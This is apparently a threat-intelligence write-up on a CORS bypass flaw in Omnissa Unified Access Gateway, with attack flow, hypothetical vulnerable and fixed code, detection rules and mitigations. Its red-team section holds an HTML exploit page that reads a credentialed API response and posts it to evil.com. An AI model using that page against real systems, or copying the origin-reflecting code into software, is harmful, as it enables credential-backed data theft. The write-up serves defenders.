CVE-2025-25234

Executive Summary

CVE-2025-25234 is a Cross-Origin Resource Sharing (CORS) bypass vulnerability in Omnissa UAG (Unified Access Gateway). A malicious actor with network access to the UAG can bypass administrator-configured CORS restrictions, potentially gaining unauthorized access to sensitive internal networks. The vulnerability has a CVSS score of 7.1 (High) and currently has no known public exploit, patch, or proof-of-concept. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for lateral movement and data exfiltration.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Omnissa UAG appliance, which is a proprietary software product. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. While no public exploit exists, the low attack complexity and network accessibility make this a prime target for advanced persistent threats (APTs) and ransomware groups.

Deep Dive & Mechanics

The vulnerability resides in the CORS implementation of Omnissa UAG. CORS is a browser security mechanism that restricts web pages from making requests to a different domain than the one that served the web page. Administrators configure allowed origins to prevent unauthorized cross-origin requests.

Root Cause: The UAG fails to properly validate the Origin header in HTTP requests. By crafting a malicious Origin header, an attacker can bypass the configured CORS allowlist. This allows the attacker to:

1. Bypass CORS restrictions: The UAG will respond with Access-Control-Allow-Origin: * or reflect the attacker-controlled origin, effectively disabling the CORS policy.
2. Access sensitive endpoints: The attacker can then make cross-origin requests to internal UAG APIs or services that were intended to be protected.
3. Lateral movement: If the UAG has network access to other internal systems, the attacker can use it as a pivot point to reach those systems.

Attack Flow:

1. Attacker identifies a target UAG instance.
2. Attacker sends a crafted HTTP request with a malicious Origin header (e.g., Origin: https://evil.com).
3. UAG responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true.
4. Attacker's malicious website (hosted on evil.com) can now make authenticated requests to the UAG on behalf of a victim user who visits the site.
5. The attacker can then exfiltrate data or perform actions on the UAG.

Vulnerable vs. Patched Code

No official patch or code diff is available. The following is a hypothetical example of the vulnerable CORS handling logic and a potential fix.

Vulnerable Code (Hypothetical):

// app.js (vulnerable)
app.use((req, res, next) => {
  const origin = req.headers.origin;
  // BUG: Directly reflects the origin without validation
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

Patched Code (Hypothetical):

// app.js (patched)
const allowedOrigins = ['https://trusted.example.com', 'https://admin.omnissa.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  } else {
    // Deny the request
    res.status(403).send('Origin not allowed');
  }
  next();
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the target UAG (e.g., internal network or exposed endpoint).
• A controlled web server (e.g., evil.com) to host the exploit page.

Exploitation Steps:

1. Identify Target: Scan for UAG instances using Shodan dorks or internal network scanning.
2. Craft Exploit Page: Create an HTML page that makes a cross-origin request to the UAG.
3. Host Exploit: Host the page on evil.com.
4. Lure Victim: Use social engineering to get an authenticated UAG user to visit evil.com.
5. Exfiltrate Data: The exploit page can read responses from the UAG and send them to the attacker's server.

Example Exploit Page (HTML):

<!DOCTYPE html>
<html>
<head>
    <title>CORS Bypass Exploit</title>
</head>
<body>
    <script>
        // Replace with target UAG URL
        var targetUrl = 'https://uag.internal.company.com/api/sensitive-data';
        
        fetch(targetUrl, {
            credentials: 'include' // Send cookies
        })
        .then(response => response.text())
        .then(data => {
            // Exfiltrate to attacker server
            fetch('https://evil.com/exfil', {
                method: 'POST',
                body: data
            });
        })
        .catch(error => console.error('Error:', error));
    </script>
</body>
</html>

Blue Team

Detection Steps:

1. Monitor HTTP Headers: Look for unexpected Origin headers in requests to UAG.
2. Analyze CORS Responses: Check for Access-Control-Allow-Origin headers that reflect arbitrary origins or contain *.
3. Correlate with User Activity: Identify if a user visited an external site before making cross-origin requests to UAG.
4. Network Segmentation: Ensure UAG is isolated from sensitive internal networks.

Hunting Query (Splunk):

index=proxy sourcetype=access_combined
| search uri_path="/api/*" AND http_method=OPTIONS
| eval suspicious=if(match(http_request_origin, "^(?!https?://(allowed\.example\.com|admin\.omnissa\.com)).*$"), 1, 0)
| where suspicious=1
| table _time, client_ip, http_request_origin, uri_path, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Origin headers pointing to untrusted domains.
  • HTTP responses from UAG with Access-Control-Allow-Origin set to * or reflecting arbitrary origins.
  • Unusual cross-origin requests to UAG API endpoints (e.g., /api/*, /admin/*).
• Host IOCs:
  • UAG logs showing repeated OPTIONS requests with suspicious Origin headers.
  • Unauthorized access to internal resources via UAG as a pivot.
• File IOCs:
  • No specific file hashes available.

Detection Engineering

YARA Rule

rule CVE_2025_25234_CORS_Bypass {
    meta:
        description = "Detects CORS bypass attempts against Omnissa UAG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25234"
    strings:
        $cors_header = "Access-Control-Allow-Origin"
        $origin_header = "Origin:"
        $suspicious_origin = /Origin:\s*(https?:\/\/[^n]|http:\/\/[^l])/  // Not starting with allowed patterns
    condition:
        $cors_header and $origin_header and $suspicious_origin
}

Sigma Rule

title: CORS Bypass Attempt Against Omnissa UAG
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with suspicious Origin headers targeting Omnissa UAG
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25234
logsource:
    category: webserver
    product: omnissa_uag
detection:
    selection:
        http_method: 'OPTIONS'
        http_request_origin|re: '^(?!https?:\/\/(allowed\.example\.com|admin\.omnissa\.com)).*$'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from newly added trusted origins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25234 CORS Bypass Attempt"; flow:to_server; content:"Origin:"; http_header; pcre:"/Origin:\s*(?!https?:\/\/(allowed\.example\.com|admin\.omnissa\.com))/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate UAG: Place UAG behind a firewall and restrict network access to only necessary systems.
2. Monitor Logs: Enable detailed logging of HTTP headers and monitor for suspicious Origin values.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests with unexpected Origin headers.
4. Disable CORS if Unnecessary: If CORS is not required, disable it entirely in the UAG configuration.

Long-Term Fix:

• Vendor Patch: Await an official patch from Omnissa. Apply it as soon as it becomes available.
• Configuration Review: Ensure CORS allowlist is strictly defined and does not use wildcards.
• Network Segmentation: Implement strict network segmentation to limit the blast radius.

Workaround:

• Manually configure a reverse proxy (e.g., Nginx) in front of UAG to enforce CORS policies:

server {
    listen 443 ssl;
    server_name uag.example.com;

    location / {
        if ($http_origin !~* (https://trusted\.example\.com|https://admin\.omnissa\.com)) {
            add_header Access-Control-Allow-Origin "" always;
            return 403;
        }
        proxy_pass https://uag_backend;
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence Expert